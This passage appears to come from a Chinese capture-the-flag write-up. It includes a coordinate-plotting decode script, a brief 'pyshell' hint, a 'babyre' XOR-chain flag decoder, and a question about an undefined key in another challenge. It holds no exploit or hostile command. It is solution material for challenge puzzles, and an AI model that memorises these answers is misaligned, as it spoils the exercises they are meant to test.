4591, 3310, 3576, 3506, 5254, 3776, 2841, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 2841, 3632, 5709, 4660, 2059, 5579, 4591, 3310, 3576, 3506, 3878, 2841, 3632, 5709, 4660, 2059, 5579, 4591, 3310, 3957, 3576, 3878, 5254, 3776, 2841, 5709, 6480, 4660, 2059, 5579, 4591, 3957, 3792, 6480, 7072, 4660, 5254, 3776, 2841, 3632, 4591, 2385, 3957, 3792, 3576, 5254, 3776, 2841, 3632, 6480, 7072, 4660, 4717, 5579, 4591, 5309, 1932, 3310, 3957, 3576, 3506, 2841, 5709, 6480, 4717, 5579, 5309, 1932, 3576, 3506, 3776, 5709, 6480, 4717, 5579, 5309, 1932, 3576, 3776, 2841, 6480, 7072, 4660, 4717, 5579, 4591, 5309, 2985, 3792, 2841, 3632, 4660, 2059, 5309, 1932, 3957, 3792, 3632, 5709, 4660, 2059, 4591, 5309, 1932, 3957, 3792, 3576, 3506, 3878, 5254, 3776, 2841, 3632, 5709, 6480, 7072, 4660, 5579, 4591, 2385, 1932, 4717, 5579, 2385]
table = [242, 3011, 3355, 3310, 3957, 3792, 3576, 3506, 3382, 3878, 5254, 3776, 2841, 3632, 4454, 4968, 5709, 6480, 7072, 4660, 2059, 2963, 3762, 4717, 5579, 4591, 5309, 5678, 2388, 2456, 2458, 2385, 1932, 2985, 2960, 2702, 2935, 3483, 3427, 3371, 2883, 3007, 3750]
for i in range(341):
y = -table.index(aaa[i])
x = table.index(kkk[i])
print(x, y)
然后得到的结果画图即可

pyshell
拼接即可

Re
babyre
a = [102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81,
83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]
flag = chr(a[0])
for i in range(len(a) - 1):
flag += chr(ord(flag[i]) ^ a[i + 1])
print(flag)
bb48一题中,与密文相异或的c没有说明
BB48一题中c是什么